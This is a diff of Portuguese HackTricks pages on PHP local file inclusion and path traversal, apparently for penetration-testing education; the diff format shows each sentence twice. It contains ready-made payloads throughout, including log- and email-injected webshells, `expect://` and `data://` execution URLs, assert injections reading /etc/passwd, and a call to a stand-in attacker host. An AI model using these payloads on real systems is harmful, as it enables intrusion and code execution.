É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
## Listagem de Diretórios em Java
## Listagem de Diretórios Java
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
@ -253,13 +253,13 @@ Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vu
### php://filter
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
Os filtros PHP permitem realizar operações básicas de **modificação nos dados** antes de serem lidos ou escritos. Existem 5 categorias de filtros:
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
* `string.toupper`
* `string.tolower`
* `string.strip_tags`: Remove tags dos dados (tudo entre os caracteres "<" e ">")
* `string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">")
* Note que este filtro desapareceu das versões modernas do PHP
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
* `convert.base64-encode`
@ -269,7 +269,7 @@ Os filtros PHP permitem realizar operações básicas de modificação nos dados
* `convert.iconv.*`: Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
{% hint style="warning" %}
Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
Ao abusar do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
{% endhint %}
* [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php)
@ -279,9 +279,9 @@ Abusando do filtro de conversão `convert.iconv.*`, você pode **gerar texto arb
* `mcrypt.*`: Obsoleto
* `mdecrypt.*`: Obsoleto
* Outros Filtros
* Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
* Executando `var_dump(stream_get_filters());` no PHP, você pode encontrar alguns **filtros inesperados**:
* `consumed`
* `dechunk`: reverte a codificação chunked HTTP
* `dechunk`: reverte a codificação chunked do HTTP
* `convert.*`
```php
# String Filters
@ -342,7 +342,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### data://
O esquema `data://` permite incluir dados diretamente no código-fonte de uma página da web, sem a necessidade de um arquivo externo. Isso pode ser explorado por hackers para injetar código malicioso e executá-lo no contexto do site vulnerável. É importante garantir que a entrada de dados seja devidamente validada e sanitizada para evitar vulnerabilidades de inclusão de arquivos.
A pseudofunção `data://` permite que você inclua dados diretamente no código-fonte da página da web. Isso pode ser útil para injetar payloads maliciosos em um site vulnerável. Por exemplo, você pode usar `data://` para incluir um script malicioso diretamente na página da web, explorando uma vulnerabilidade de inclusão de arquivo.
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -356,7 +356,7 @@ Note que este protocolo é restrito pelas configurações do php **`allow_url_op
### expect://
Expect deve estar ativado. Você pode executar código usando isso:
Expect deve ser ativado. Você pode executar código usando isso:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
@ -382,7 +382,7 @@ Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
```bash
php --define phar.readonly=0 create_path.php
```
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão Local de Arquivos (LFI).
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão de Arquivo Local (LFI).
Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
@ -398,7 +398,7 @@ Para uma compreensão detalhada da exploração de vulnerabilidades de desserial
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivos)
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
@ -409,13 +409,13 @@ Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/m
## LFI via 'assert' do PHP
Os riscos de Inclusão Local de Arquivos (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contendo caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
Os riscos de Inclusão de Arquivo Local (LFI) em PHP são notavelmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." estiver sendo verificada, mas não devidamente sanitizada.
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Embora isso tenha como objetivo impedir a travessia, acaba criando inadvertidamente um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
Embora isso tenha como objetivo impedir a travessia, acaba inadvertidamente criando um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -423,7 +423,7 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
```plaintext
' and die(system("id")) or '
```
É importante **codificar esses payloads com URL**.
É importante **codificar esses payloads em URL**.
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -441,13 +441,13 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Traversão de Caminho PHP às Cegas
## Traversão de Caminho PHP Cega
{% hint style="warning" %}
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) mas o conteúdo não é exibido.
{% endhint %}
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
@ -465,7 +465,7 @@ Explicado anteriormente, [**siga este link**](./#remote-file-inclusion).
### Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell PHP como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
{% hint style="warning" %}
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
@ -473,7 +473,7 @@ Observe que **se você usar aspas duplas** para o shell em vez de **aspas simple
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
{% endhint %}
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs pode estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
Outros possíveis caminhos de log:
```python
/var/log/apache2/access.log
@ -486,9 +486,11 @@ Outros possíveis caminhos de log:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Lista de palavras para fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tentar incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
@ -523,7 +525,7 @@ Verifique se o site utiliza Sessão PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
Em PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -548,9 +550,9 @@ Os logs do servidor FTP vsftpd estão localizados em **_/var/log/vsftpd.log_**.
2. Após a injeção, utilize o LFI para recuperar os logs do servidor em **_/var/log/vsftpd.log_**.
### Via filtro php base64 (usando base64)
### Via php base64 filter (usando base64)
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o Non-base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um exemplo de payload:
Conforme mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora o que não é base64. Você pode usar isso para burlar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignora o "." e acrescenta "php" ao base64. Aqui está um exemplo de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -574,7 +576,7 @@ Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d
### Através do armazenamento de arquivos temporários do Nginx
Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está em execução na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
@ -582,15 +584,15 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o **Nginx** está em exe
### Através do PHP\_SESSION\_UPLOAD\_PROGRESS
Se você encontrou uma **Inclusão Local de Arquivo** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
Se você encontrou uma **Inclusão de Arquivo Local** mesmo se você **não tiver uma sessão** e `session.auto_start` estiver `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **ativar a sessão para você**. Você poderia abusar disso para obter RCE:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php_session_upload_progress.md)
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### Através de uploads de arquivos temporários no Windows
Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Windows**, você pode obter RCE:
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está em **Windows**, você pode obter RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
@ -598,7 +600,7 @@ Se você encontrou uma **Inclusão Local de Arquivo** e o servidor está em **Wi
### Através do phpinfo() (file\_uploads = on)
Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
Se você encontrou uma **Inclusão de Arquivo Local** e um arquivo expondo **phpinfo()** com file\_uploads = on, você pode obter RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
@ -606,15 +608,15 @@ Se você encontrou uma **Inclusão Local de Arquivo** e um arquivo expondo **php
### Através de compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Divulgação de Caminho
Se você encontrou uma **Inclusão Local de Arquivo** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
Se você encontrou uma **Inclusão de Arquivo Local** e você **pode exfiltrar o caminho** do arquivo temporário MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **burlar essa verificação** com essa **Condição de Corrida**:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md)
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Através de espera eterna + força bruta
Se você puder abusar da LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
Se você puder abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **travar** a execução do PHP, então você poderia **forçar nomes de arquivos por horas** para encontrar o arquivo temporário:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
@ -647,7 +649,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
@ -657,10 +659,10 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,12 +1,27 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## `compress.zlib://` e `PHP_STREAM_PREFER_STDIO`
Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar escrevendo dados que chegam à conexão posteriormente no mesmo arquivo.
Um arquivo aberto usando o protocolo `compress.zlib://` com a flag `PHP_STREAM_PREFER_STDIO` pode continuar gravando dados que chegam à conexão posteriormente no mesmo arquivo.
Isso significa que uma chamada como:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Você enviará uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão gravados no arquivo.
Irá enviar uma solicitação pedindo http://attacker.com/file, então o servidor pode responder à solicitação com uma resposta HTTP válida, manter a conexão aberta e enviar dados extras algum tempo depois que também serão escritos no arquivo.
Você pode ver essa informação nesta parte do código php-src em main/streams/cast.c:
```c
@ -20,14 +35,29 @@ Você pode ver essa informação nesta parte do código php-src em main/streams/
```
## Condição de Corrida para RCE
Este CTF foi resolvido usando o truque anterior.
[**Este CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) foi resolvido usando o truque anterior.
O atacante fará com que o servidor da vítima abra uma conexão lendo um arquivo do servidor do atacante usando o protocolo `compress.zlib`.
O atacante fará o **servidor da vítima abrir uma conexão lendo um arquivo do servidor do atacante** usando o protocolo **`compress.zlib`**.
Enquanto essa conexão existir, o atacante exfiltrará o caminho para o arquivo temporário criado (que é vazado pelo servidor).
**Enquanto** essa **conexão** existir, o atacante irá **exfiltrar o caminho** para o arquivo temporário criado (é vazado pelo servidor).
Enquanto a conexão ainda estiver aberta, o atacante explorará uma LFI carregando o arquivo temporário que ele controla.
**Enquanto** a **conexão** estiver aberta, o atacante irá **explorar um LFI carregando o arquivo temporário** que ele controla.
No entanto, há uma verificação no servidor web que impede o carregamento de arquivos que contêm `<?`. Portanto, o atacante abusará de uma Condição de Corrida. Na conexão que ainda está aberta, o atacante enviará a carga útil PHP DEPOIS que o servidor web verificou se o arquivo contém os caracteres proibidos, mas ANTES de carregar seu conteúdo.
No entanto, há uma verificação no servidor web que **impede o carregamento de arquivos que contenham `<?`**. Portanto, o atacante irá abusar de uma **Condição de Corrida**. Na conexão que ainda está aberta, o **atacante** irá **enviar a carga útil PHP DEPOIS** do **servidor web** ter **verificado** se o arquivo contém os caracteres proibidos, mas **ANTES de carregar seu conteúdo**.
Para mais informações, verifique a descrição da Condição de Corrida e do CTF em [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
Para mais informações, consulte a descrição da Condição de Corrida e do CTF em [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,58 +2,58 @@
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## Informações Básicas
## Informação Básica
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja esperando), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens docker onde os arquivos gerados não contêm dígitos.
Por padrão, quando um arquivo é enviado para o PHP (mesmo que não esteja esperando), ele irá gerar um arquivo temporário em `/tmp` com um nome como **`php[a-zA-Z0-9]{6}`**, embora eu tenha visto algumas imagens do docker onde os arquivos gerados não contêm dígitos.
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, você obterá RCE**.
Em uma inclusão de arquivo local, **se você conseguir incluir esse arquivo enviado, obterá RCE**.
Note que por padrão **o PHP só permite enviar 20 arquivos em uma única requisição** (configurado em `/etc/php/<versão>/apache2/php.ini`):
Observe que por padrão **o PHP permite apenas o envio de 20 arquivos em uma única solicitação** (definido em `/etc/php/<versão>/apache2/php.ini`):
```
; Maximum number of files that can be uploaded via a single request
max_file_uploads = 20
```
Também, o **número de nomes de arquivos potenciais é 62\*62\*62\*62\*62\*62 = 56800235584**
Também, o **número de nomes de arquivo potenciais são 62\*62\*62\*62\*62\*62 = 56800235584**
### Outras técnicas
Outras técnicas dependem de atacar protocolos PHP (você não será capaz se controlar apenas a última parte do caminho), revelando o caminho do arquivo, abusando de arquivos esperados, ou **fazendo o PHP sofrer uma falha de segmentação para que arquivos temporários carregados não sejam excluídos**.\
Esta técnica é **muito semelhante à última, mas sem a necessidade de encontrar um zero day**.
Outras técnicas dependem de atacar os protocolos PHP (você não será capaz se controlar apenas a última parte do caminho), revelar o caminho do arquivo, abusar de arquivos esperados, ou **fazer o PHP sofrer uma falha de segmentação para que os arquivos temporários enviados não sejam excluídos**.\
Essa técnica é **muito semelhante à última, mas sem a necessidade de encontrar uma vulnerabilidade zero day**.
### Técnica de espera eterna
Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos carregar arquivos e fazer com que o **LFI nunca termine**, teremos "tempo suficiente" para **força bruta nos arquivos carregados** e **encontrar** qualquer um dos que foram carregados.
Nesta técnica **só precisamos controlar um caminho relativo**. Se conseguirmos enviar arquivos e fazer o **LFI nunca terminar**, teremos "tempo suficiente" para **forçar bruta os arquivos enviados** e **encontrar** qualquer um dos arquivos enviados.
**Vantagens desta técnica**:
**Prós desta técnica**:
* Você só precisa controlar um caminho relativo dentro de um include
* Não requer nginx ou nível inesperado de acesso a arquivos de log
* Não requer um 0 day para causar uma falha de segmentação
* Não requer revelação de caminho
* Não requer nginx ou um nível inesperado de acesso aos arquivos de log
* Não requer uma vulnerabilidade zero day para causar uma falha de segmentação
* Não requer uma revelação de caminho
Os **principais problemas** desta técnica são:
* Necessidade de um arquivo específico(s) estar presente (pode haver mais)
* A quantidade **insana** de nomes de arquivos potenciais: **56800235584**
* Se o servidor **não estiver usando dígitos** o total potencial é: **19770609664**
* Por padrão **apenas 20 arquivos** podem ser carregados em uma **única requisição**.
* O **número máximo de trabalhadores paralelos** do servidor usado.
* Este limite com os anteriores pode fazer este ataque durar demais
* **Tempo limite para uma requisição PHP**. Idealmente, isso deveria ser eterno ou deveria matar o processo PHP sem excluir os arquivos temporários carregados, se não, isso também será um problema
* Necessidade de um arquivo(s) específico(s) estar presente (pode haver mais)
* A **quantidade insana** de nomes de arquivo potenciais: **56800235584**
* Se o servidor **não estiver usando dígitos**, o total potencial é: **19770609664**
* Por padrão, **apenas 20 arquivos** podem ser enviados em uma **única solicitação**.
* O **número máximo de trabalhadores paralelos** do servidor utilizado.
* Esse limite junto com os anteriores pode fazer com que esse ataque dure muito tempo
* **Tempo limite para uma solicitação PHP**. Idealmente, isso deveria ser eterno ou deveria encerrar o processo PHP sem excluir os arquivos temporários enviados, caso contrário, isso também será um problema
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**infelizmente não disponível em contêineres Docker**...).
Então, como você pode **fazer um include PHP nunca terminar**? Apenas incluindo o arquivo **`/sys/kernel/security/apparmor/revision`** (**não disponível em contêineres Docker** infelizmente...).
Tente apenas chamando:
```bash
@ -62,41 +62,41 @@ include("/sys/kernel/security/apparmor/revision");
```
## Apache2
